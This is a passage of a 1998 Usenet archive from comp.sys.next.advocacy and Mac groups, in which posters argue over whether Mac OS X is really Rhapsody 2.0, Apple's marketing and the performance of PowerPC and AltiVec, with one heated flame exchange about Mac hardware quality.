> APIs". From that, I gather that Unix tools will still be supported. ( bash,
> apache, perl et al) Is there any reason why this would not be the case?
Nope.
Maury
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X Confusion
References: <6lvsob$ni$1@supernews.com> <6m2uto$b7k$1@ns3.vrx.net> <35862ad9.0@206.25.228.5> <6m6d9h$8d81@odie.mcleod.net> <slrn6odnt9.ckr.sal@panix3.panix.com> <6m68ie$fg$1@ns3.vrx.net> <6m6u1h$o8d$1@cronkite.cygnus.com> <6m6gbe$fg$5@ns3.vrx.net> <35878565.0@206.25.228.5> <6m8628$dbl$4@ns3.vrx.net> <35880e76.0@206.25.228.5> <6m8k69$dbl$24@ns3.vrx.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35894345.0@206.25.228.5>
Date: 18 Jun 98 16:41:41 GMT
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <35880e76.0@206.25.228.5> John Kheit claimed:
> > As far as I have heard, both the release of Rhapsody, and MacOSX
> > will be based on a Mach3 variant;
> I believe this is no longer true, and that Rhapsody CR will
> continue to use the current kernel. No? This is certainly
> the impression I got at WWDC.
Do you remember from what you got this impression? Last official
blurbs I recall from apple were that CR on up would have a mach3
kernel. Which makes little sense to go to a CR without testing
the new kernel in DR, so I think you're likely right.
On the other hand, I see no reason why the mach3 kernel wouldn't
scale down well to a client level as well. The same binary could
be used fill both bills. And if anything, mach3 scales much better
on up than mach2. So it still seems to me that Crabbs article was
just off.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Thu, 18 Jun 1998 15:35:26 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <35897A0E.2CF1E720@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com>
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NNTP-Posting-Date: 18 Jun 1998 20:40:32 GMT
Don Yacktman wrote:
> Because they've chosen to kill Rhapsody on Intel, hence they aren't going to
> compile an Intel version. Whether there's an Intel version or not is
> *completely* irrelevant to what I said.
>
> Similar example: if Microsoft stops selling Windows NT for non-Intel
> platforms (ie, no 5.0 for anything but Intel) then does that mean that
> Windows NT 5.0 isn't the next version after 4.0?
>
> When you move from one version to the next, some features get dropped, some
> get added. Is that too hard to understand?
Why do you feel you have to apologize for Apple? There are some basic
facts regarding this situation, and putting a clever spin (a la Mike
Paquette's cutesy reply) on them won't make them go away, and I really
don't think most people are fooled.
It's not the same operating system environment that was promised. It's
not even close. It's not within the realm of a few underdeliveries. The
entire OS proposition is functionally closer to Copland than to
Rhapsody.
If MacOS X is Rhapsody 2.0, Apple should feel free to say so publically,
and take whatever consequences may be auxiliary to that decision. Until
they do, MacOS X is *not* Rhapsody 2.0, nor can anyone claim that it is,
no matter what your "inside track" may be.
MJP
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 21:52:10 GMT
Organization: MiscKit Development
Message-ID: <6mc26a$se0$1@news.xmission.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> Don Yacktman wrote:
> > When you move from one version to the next, some features
> > get dropped, some get added. Is that too hard to understand?
>
> Why do you feel you have to apologize for Apple?
I'm not apologizing for anyone. If you think that I am, then you completely
miss my point.
> There are some basic
> facts regarding this situation, and putting a clever spin (a la Mike
> Paquette's cutesy reply) on them won't make them go away, and I really
> don't think most people are fooled.
Mike and I aren't spinning it at all. We're coming from the engineering
side, not the marketing side, and things look different over here. As far as
what a system *really* is, I trust what the engineers tell me *far* more than
what the marketers say, because they're the ones implementing it and they
know much better than the suits what the hell it is that they're building.
The suits are going to spin it any way they like, depending upon what they
think will help them most.
> It's not the same operating system environment that was promised. It's
> not even close. It's not within the realm of a few underdeliveries. The
> entire OS proposition is functionally closer to Copland than to
> Rhapsody.
I can't possibly see where you get that idea.
Look, you have two things under discussion: (1) what the marketing
department is saying and (2) what the engineers are saying.
The engineers are telling me that Mac OS X is, effectively Rhapsody 2.0 for
all intents and purposes. Since they're the ones implementing it, I tend to
believe them. I don't care what the marketing people say--they can tell me
that Mac OS X is derived from ceramic toads for all I care. The bottom line
is what the engineers did. Mike's point (and mine) is that Mac OS X derives
from the Rhapsody code base (with the carbon libraries deriving from Mac
OS--but Carbon is a library API, not an OS) and it is therefore very
reasonable to consider it to be Rhapsody 2.0.
> If MacOS X is Rhapsody 2.0, Apple should feel free to say so publically,
> and take whatever consequences may be auxiliary to that decision.
I agree completely. However, obviously the suits feel that--for whatever
reason--it is worth it to them to spin things completely different. In fact,
I'd be willing to say that the marketing people are deliberately confusing
the issue. Apparently Apple (or someone at Apple) feels it important to
confuse everyone as to what is really going on. I think it is a terrible way
to run a business, but then again, that's just me and I have zero control
over anyone at Apple. (Nor do I wish to have any control, frankly.)
> Until they do, MacOS X is *not* Rhapsody 2.0, nor can anyone claim
> that it is, no matter what your "inside track" may be.
I can claim whatever the hell I want, and neither your nor anyone will stop
me, thank you very much. I can say that marketing is spun out of control
(based on what the engineers are telling me) and be well within my rights.
Obviously there are those who disagree with my conclusions and that is just
fine. As far as I am concerned, the case is closed and this is my last post
to the thread, since I see no value in continuing this and there's nothing
more I have to say on it.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 18 Jun 1998 22:28:37 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6mc4al$4gm$1@news.spacelab.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <6mbros$d7p$1@ecuador.it.earthlink.net>
"Ziya Oz" <ziyaoz@earthlink.net> wrote:
>don@misckit.com (Don Yacktman) wrote:
>>When you move from one version to the next, some features get dropped, some
>>get added. Is that too hard to understand?
>
> The ability of an OS to run on a different platform is not some "feature"
> for goodness sake!
Of course it is. To generalize evern further, *any* functionality found in
*any* type of software can be described as the set of features that software
provides.
> Rhapsody was promoted as an x-platform solution.
OpenStep (aka YellowBox) is a cross-platform solution. Rhapsody, being based
off of that as well as a portable lower level (the Mach kernel) has the
technical ability to run on multiple hardware platforms and provide a
consistent set of API's which allow the same source to run with very little
to no (zero) additional work.
I don't agree with Apple's apparent desire to ignore the cross-platform
capabilities that the technology provides.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: davewang@wam.umd.edu.delete.after.edu@Glue.umd.edu (David T. Wang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Date: 18 Jun 1998 23:06:20 GMT
Organization: University of Maryland, College Park
Message-ID: <6mc6hc$obq$2@hecate.umd.edu>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org>
Jason S. (jason@jhste1.dyn.ml.org) wrote:
: David T. Wang posted the following to comp.sys.mac.advocacy:
: >Also irrelevent. Photoshop is mixed with integer,floating point, MMX
: >code. The numbers above are SPECfp95, posted to specifically refute
: >that one assertion.
: Isn't SPECfp95 heavily dependent on memory bandwidth for data sets far
: larger than 512K? In that case, keep in mind that the IBM test boxes
: had the older MPC105 chipset (like the 43P, IIRC), while the Apple
: Gossamer boards use the newer MPC106. Whether this has an impact,
: I don't know, but the Gossamers beat the older PCI PMacs in STREAM,
: for example (not sure what chipset they use, but the 9500 is probably
: comparable to a 43P).
The 9500's only had a 50 MHz memory bus. most all of the newer generation
systems with 66 MHz memory bus would beat it handily. The IBM machine
used for the *estimate* had a 66 MHz memory bus. I seriously doubt that
the difference in the chipset could be used to validate the statement
that the PPC750 can easily beat the Pentium II in floating point operations.
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 23:48:58 GMT
Organization: I don't think so
Message-ID: <slrn6oja2k.3c0.jason@jhste1.dyn.ml.org>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <Euptyu.xy@haddock.cd.chalmers.se> <6mbdca$trv$1@hecate.umd.edu> <joe.ragosta-1806981348130001@wil45.dol.net> <6mbo49$bt6$1@hecate.umd.edu> <slrn6oj5oa.2i7.jason@jhste1.dyn.ml.org> <6mc6hc$obq$2@hecate.umd.edu>
David T. Wang posted the following to comp.sys.mac.advocacy:
>: >Also irrelevent. Photoshop is mixed with integer,floating point, MMX
>: >code. The numbers above are SPECfp95, posted to specifically refute
>: >that one assertion.
>: Isn't SPECfp95 heavily dependent on memory bandwidth for data sets far
>: larger than 512K? In that case, keep in mind that the IBM test boxes
>: had the older MPC105 chipset (like the 43P, IIRC), while the Apple
>: Gossamer boards use the newer MPC106. Whether this has an impact,
>: I don't know, but the Gossamers beat the older PCI PMacs in STREAM,
>: for example (not sure what chipset they use, but the 9500 is probably
>: comparable to a 43P).
>The 9500's only had a 50 MHz memory bus. most all of the newer generation
>systems with 66 MHz memory bus would beat it handily. The IBM machine
>used for the *estimate* had a 66 MHz memory bus. I seriously doubt that
>the difference in the chipset could be used to validate the statement
>that the PPC750 can easily beat the Pentium II in floating point operations.
Ah, but now we are getting into "Dave Wang seriously doubts" territory,
which is hardly conclusive proof anymore. I'd be interested in seeing
SPEC results from the 292 MHz PowerBook with the 83 MHz bus - this
machine might trounce the IBM test machines.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Thu, 18 Jun 1998 18:48:18 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <3589A742.96EEFF47@nstar.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com> <6mc51u$sih$1@nnrp1.dejanews.com>
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spagiola@my-dejanews.com wrote:
> On the afternoon of Steve Jobs' MacOS X speech at WWDC I e-mailed someone at
> Apple 'who would know' (to use Don's phrase) asking point-blank: "So, MacOS X
> = Rhapsody + Carbon?" and got the reply "Yep". I also won't name names for
> the same reasons as Don. (I CAN say that it wasn't Ken Starr, and it wasn't
> the White House, either.)
What would they say if I asked this person (point-blank): "So, MacOS X =
Rhapsody + Carbon - Intel - NXHosting - DPS?" What if I said "Feel free
to mention anything else that will be dropped/changed that hasn't
otherwise been revealed by Apple."
Would this person begin to stammer and argue around the issues? Would
he/she prefer to provide pat and misleading response? Would there be a
good reason that Apple isn't saying that MacOS X is Rhapsody?
Flame away. This is totally ridiculous.
MJP
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: Thu, 18 Jun 1998 23:47:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mc8u6$2is$1@nnrp1.dejanews.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <6majra$hjq$1@suriname.it.earthlink.net> <6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote:
> It's not the same operating system environment that was promised. It's
> not even close. It's not within the realm of a few underdeliveries.
Nonsense. What's not there that they had promised?
> If MacOS X is Rhapsody 2.0, Apple should feel free to say so publically,
> and take whatever consequences may be auxiliary to that decision. Until
> they do, MacOS X is *not* Rhapsody 2.0, nor can anyone claim that it is,
> no matter what your "inside track" may be.
This faith that people have in Apple's pronouncements never seems to amaze me.
"If Apple doesn't say so, it just ain't so." You'd think we were talking of
Papal encyclicals.
Call MacOS X what you will. Fact remains, if you look at the various slides
from WWDC showing what MacOS contains, it's quite clear that
MacOS X = Rhapsody + Carbon - DPS
See my other post for one reason why Apple may not want to say so. But let me
remind you of Shakespeare's
What's in a name? that which we call a rose
By any other name would smell as sweet
Stefano Pagiola spagiola@my-dejanews.com My opinions alone Longtime MacOS and
NeXTSTEP user, reluctant Windows 95/NT user, future Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 18 Jun 1998 18:06:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AF0769-2712F@206.165.43.108>
References: <joe.ragosta-1806981533290001@wil56.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Joe Ragosta <joe.ragosta@dol.net> said:
>If the developers code for AltiVec, it will speed up your applications
>more than increasing the FPU. They're talking about _at least_ 4 times the
>performance on floating point.
>
>I would guess that the apps which require high processing power will use
>it pretty quickly. MrC for AltiVec is already available.
As Maury said, it depends. Not every case of FP use can make use of FP
add/mul/div/sub of 4-vector floats.
I suspect that 3D games will benefit. Certainly, the target market that
MOtorola is shooting for will benefit. Spreadsheet-like calculations likely
will not. Some statistical packages might.
Very much a YMMV situation.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: 3D card in iMac cartidge!!! (Was Re: Games and the consumer
market.
Date: 18 Jun 1998 18:08:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1AF07E7-28EC6@206.165.43.108>
References: <35896c04.0@news.depaul.edu>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
RIGHT ARM!
Seriously. That's a leadership.com suggestion for iMac if I ever heard one.
Everyone should start pushing for this. They might even listen.
Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>In comp.sys.next.advocacy Lawson English <english@primenet.com> wrote:
>
>> Apple should use the "personality card" concept to provide upgradeable
3D
>> acceleration cards. These would be dealer-upgardeable. This would allow
>> iMac users to start out with a base system and upgrade it as needed.
>
>Actually, they should put it in a Nintendo-style cartridge, externally
>accessible. They'd need some way to lock it in place when the machine
>is on, or else make sure that it can be removed without destroying
>the machine.
>
>Consumers understand cartridges. Mostly.
>
>Just toss one or two cartridge slots behind a door on the back of
>the machine.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Raffael Cavallaro" <raffael@pop.tiac.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Thu, 18 Jun 1998 22:36:50 -0400
Organization: The Internet Access Company, Inc.
Message-ID: <6mciuj$8fe@news-central.tiac.net>
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <6m8jqk$7rv@news-central.tiac.net> <rmcassid-1706980907240001@dante.eng.uci.edu>
Robert Cassidy wrote ...
>Apple's been dead on with their MacOS releases since and including 8.0. I
>have *no* doubt that OS 9 and X will ship in a timely fashion. And, if you
>are looking at development rates - 8, 9, and X will have shipped within a
>2 year window. So 11 would seem likely for 2000 or 2001.
You obviously don't recall the fact that MacOS 8 was supposed to be
Copland - i.e., it was publicly stated by Apple that the successor the MacOS
7 (which would be 8, right, or do they count differently in Cupertino?)
would have PMT, memory protection, etc. They even went so far as to demo it
at trade shows during development, that is, until it became clear that the
project was failing. Then they cancelled Copland and did something really
sleazy...
Put simply, they released the next rev of System 7 (which should have been
7.7 or 7.8 or somesuch), which did *not* have PMT or protected memory, and
called it MacOS 8. What is now sold as MacOS 8 (or 8.1, etc.) is really just
another rev of MacOS 7.
In fact, the features of the originally planned MacOS 8, especially PMT and
protected memory, will not ship in a consumer MacOS until MacOS X (if that
ever does ship - we'll see).
You just bought Apple's goofy renaming scheme hook, line, and sinker. Either
that or you haven't been using Macs long enough to remember the promised
feature set of System 7's successor (i.e., Copland or MacOS 8).
What matters is the shipped feature set. If Apple decides to sell the next
update to MacOS 8 as "MacOSX" but ships it without Carbon, without PMT,
without memory protection, does that mean that MacOS X shipped ahead of
schedule?
Obviously not. It just means that Apple's marketing people know how a name
change can fool people who aren't paying attention very carefully.
I repeat, Apple would have to ship the feature set of MacOS X *a year ago*
just to live up to schedules announced back in '95 for the rollout of
Copland (i.e., the original, failed MacOS 8). If MacOS X ships next year,
then Apple will only be *three years behind* announced schedule for MacOS
features. Get the picture?
As regards future MacOS releases, I'll believe 'em when I see 'em (and not
before).
Raf
From: "Lance Togar" <ltogar@msn.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
References: <1daqn7l.1gvycs7414ru6N@dialup116-1-29.swipnet.se> <B1AC4CB9-13EA4@206.165.43.4> <6m72rr$8q5$1@cronkite.cygnus.com> <35872ab1.0@news.together.net> <TheLidlessEyeTh-1706980041330001@digital-00-41.hou.neoworld.net> <358882f9.0@news.together.net> <TheLidlessEyeTh-1806980045210001@digital-00-47.hou.neoworld.net>
Subject: Re: Rhapsody! Oh no! They've Osborned Rhapsody!
Date: Thu, 18 Jun 1998 23:08:31 -0400
Message-ID: <3589d65c.0@news.together.net>
Organization: Together Networks - Burlington, VT.
The Doom That Came To Usenet wrote in message ...
>In article <358882f9.0@news.together.net>, "Lance Togar" <ltogar@msn.com>
wrote:
>
>>>The Doom That Came To Usenet wrote in message ...
>>>>In article <35872ab1.0@news.together.net>, "Lance Togar"
<ltogar@msn.com>
>>>wrote:
>>>>
>>>>
>>>>>>>However, n a sense, the robust quality of the Macintosh is a thorn to
>>>>>>>Apple.
>>>>>>..
>>>>>>It never existed, so it can't be much of a problem.
>>>>
>>>>You're talking out of your ass again.
>>>>How many Macintosh computers have you actually owned, Lance?
>>>>Not a one, I suspect.
>>>..
>>>Suspect? Stop answering your own questions. It makes you sound like a
dolt.
>
>I'm stating a fact, you ignorant bastard.
>How many have you owned?
>
..
You really need to look up the word "fact", "bastard", "ignorant" and a host
of other words you obviously don't understand the use of. FYI, there's 6 or
7 Macs in my stable.
..
..
>>>>So then, just how the hell would you know anything about the quality of
>>>>Mac hardware components?
>>>>'Cause you used to repair them?
>>>..
>>>Ah, still.
>
>What, stuck in a retail shithole repairing Performas?
>That's about your speed: some community college, tech school, cracked some
>books and subscribes to some trades.
>Most likely some Mac user gave you some shit about applying your feeble PC
>troubleshooting skills in diagnosing a Mac problem long ago.
>That's why you like to hang out here and talk a lot of shit about a
computer
>you know nothing about.
>To use one of your lines," Am I warm?"
..
Nope. What you've done is make a series of uniformed assertions and then
backed them with more of the same. Dumb in any language.
..
..
>>>>Ever stopped to think that because you repaired them, the only Mac
hardware
>>>>you're exposed to is faulty Mac hardware?
>>>..
>>>Ever stop to think that faulty Macs are built exacly the same what as all
>>>the rest?
>
>So, what you're saying is, if a board fails in one computer, whether Mac
>or PC, it
>will fail in all of them, right?
>You're clueless.
..
No. Since you've quoted the entire post but *still* didn't get it, what I
wrote was:
"Ever stop to think that faulty Macs are built exacly the same what as all
rest?"
..
Which is obviously true. Or, perhaps, you could explain how defective
computers are built any differently than those that aren't.
..
..
>>>..
>>>>That's no basis for comparison.
>>>..
>>>Ya there is.
>
>"Ya"?
>That's the best you can do?
..
Well, it's more than you've offered thus far.
..
..
>>>>I'ved repaired just about everything under the sun as far as computers
go,
>>>>at one time or the other.
>>>>Does that mean that every computer I've repaired is a broad indication
>>>>of the quality inherent in all of the products that particular
>>>>manufacturer produces?
>>>>Hell, no.
>>>..
>>>Well, no. For example, I don't compare Walkmans to Sony computers or
audio
>>>equipment.
>
>Sony computers are manufactured by Intel.
>Oops, you knew that, right?
..
Ooooops, guess you've never seen a Sony computer.
..
..
> I also don't compare Mitsubishi tuna to Mitsubishi cars or
>>>Mitsubichi TVs.
>
>Mitsubishi is a zaibatsu, that is a huge conglomeration of companies, some
>of which
>bear little or no relation to one another.
>Therefore, no valid comparison could be made.
..
Glad you noticed.
..
..
> Come to think of it, if you've got a point here, it's that
>>>you don't have a point.
>
>No, you tried to make a point that, through your limited exposure to
>Macintosh, albeit
>only with faulty Mac hardware, you've cleverly deduced that all Mac
hardware
>suffers from the same inherent problems, and is generally of low quality.
..
No, actually, that's the warped spin you chose to use for what I wrote.
Since I didn't write anything such as this, spin is a charitable term.
..
..
<SNIP, more of what we've come to expect from this dud>
..
..
>>>>You don't know what you're talking about, plain and simple.
>>>>Go back to your little Best Buy job slapping in memory and hard drives.
>>>..
>>>Given an obvious lack of position, is this the best you can do?
>
>
>I call 'em as I see 'em.
..
No doubt but it helps if you're not blind.
..
..
>If you possess true genius with a breadth of technical knowledge, then
you're
>doing a remarkable job of concealing it from us.
..
Who's us?
..
..
>>>>>>There's nothing unusual about the Mac hardware. In fact it's very
>>>pedestrian
>>>>>>as computers go.
>>>>
>>>>When compared to what- SGI or Sun?
>>>>Commodore's Amiga?
>>>>I know you're not seriously comparing Apple hardware to >Compaq,Dell, et
>>>al.
>>>..
>>>Of course I am.
>
>I'm sure more than a few customers of both companies would be wearing
>rueful smirks
>right now after that ridiculous assertion of yours.
..
How Apple of you. Unfortunately, for you, the assertion is entirely
accurate. Of course, if you believe it isn't, you *could* supply some
reasons. But first, a hint:
Take the top off and actually *look* inside the computers *before* you
attempt to discuss them.
..
..
<SNIP>
..
..
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 19 Jun 1998 03:28:15 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojmmf.plc.sal@panix3.panix.com>
References: <6map2e$hpd$1@ns3.vrx.net> <B1AE9C85-2E635@206.165.43.66> <see-below-1806981702530001@dynamic23.pm07.mv.best.com>
On Thu, 18 Jun 1998 17:02:53 -0700, Matthew Vaughan <see-below@not-my-address.com> wrote:
>I just wish Apple would go ahead and make some announcement if the iMac is
>really going to use Rage Pro instead of Rage II. I know they don't want to
>announce it for their current G3 machines until the old ones are all out
>of the channel, but I don't see why they couldn't announce it for the
>iMac.
Maybe they are going to exhaust the current stock of Rage II+'s and 33.6k
modem parts and then switch to the PRO? That would explain the lack of
any announcements on 56k modems and the ATI RAGE Pro.
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 03:40:44 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojnds.plc.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com>
On 18 Jun 1998 18:55:36 GMT, Don Yacktman <don@misckit.com> wrote:
>All I can say is that for some inexplicable reason, SJ seems like like the
>FUD to the point of encouraging it. I think it is dumb and a recipe for
>disaster, but that's just my opinion.
I share that opinion.
> I have no idea why Jobs is behaving
>this way, but his current policies and behavior are FUD incubators, so if
>that isn't what he wants, he needs to change some things and soon.
Maybe that is what he wants? Have lots of people spend lots of time trying
to guess what he is going to do? Is this a "keep them all guessing" tactic?
Maybe he feels that there is no such thing as bad PR? As long as everyone
is talking about Apple, Apple will be relevant...
While everyone was talking about AMP and the "eMac", no one saw the iMac
at all. The day after is was displayed the PC press was using it as a
benchmark for consumer PCs. Maybe that is exactly what he is going for.
>> Maybe he can explain the striking visual similarities between
>> the iMac and the Vorlon encounter suit helmet. I think it goes
>> way beyond mere chance...
>Well...I have no answer to that! Note that when he introduced the iMac he
>said it was as if it was designed by people from another planet, or something
>to that effect. :-)
The "Hello (again)" was just the iMac's way of telling us that it has always
been here...
--
sal@panix.com
Salvatore Denaro
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 19 Jun 1998 03:48:03 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ojnrj.plc.sal@panix3.panix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu> <6lpp28$sup@nntp02.primenet.com> <6lpq75$j4j$1@crib.corepower.com> <6lrcps$b9@nntp02.primenet.com> <6lrdjs$ks8$1@crib.corepower.com> <6lsf8c$6bc@nntp02.primenet.com> <6lvkg4$msk$1@crib.corepower.com> <1dargdt.edmdpoeifj59N@phoenix81.wco.com> <slrn6oh657.p7f.sal@panix3.panix.com> <6mad91$1uu$1@news.xmission.com> <slrn6oih6d.k93.sal@panix3.panix.com> <6mbnr8$1uu$3@news.xmission.com> <6mc51u$sih$1@nnrp1.dejanews.com> <3589A742.96EEFF47@nstar.net>
On Thu, 18 Jun 1998 18:48:18 -0500, Michael Peck <mjpeck@nstar.net> wrote:
>Would there be a
>good reason that Apple isn't saying that MacOS X is Rhapsody?
A *good* reason? No. A reason? IMHO, yes. This is a marketing move.
MacOS 8 -> Rhapsody is a migration.
A lot of people are going to think, "If I am going to have to _migrate_ to
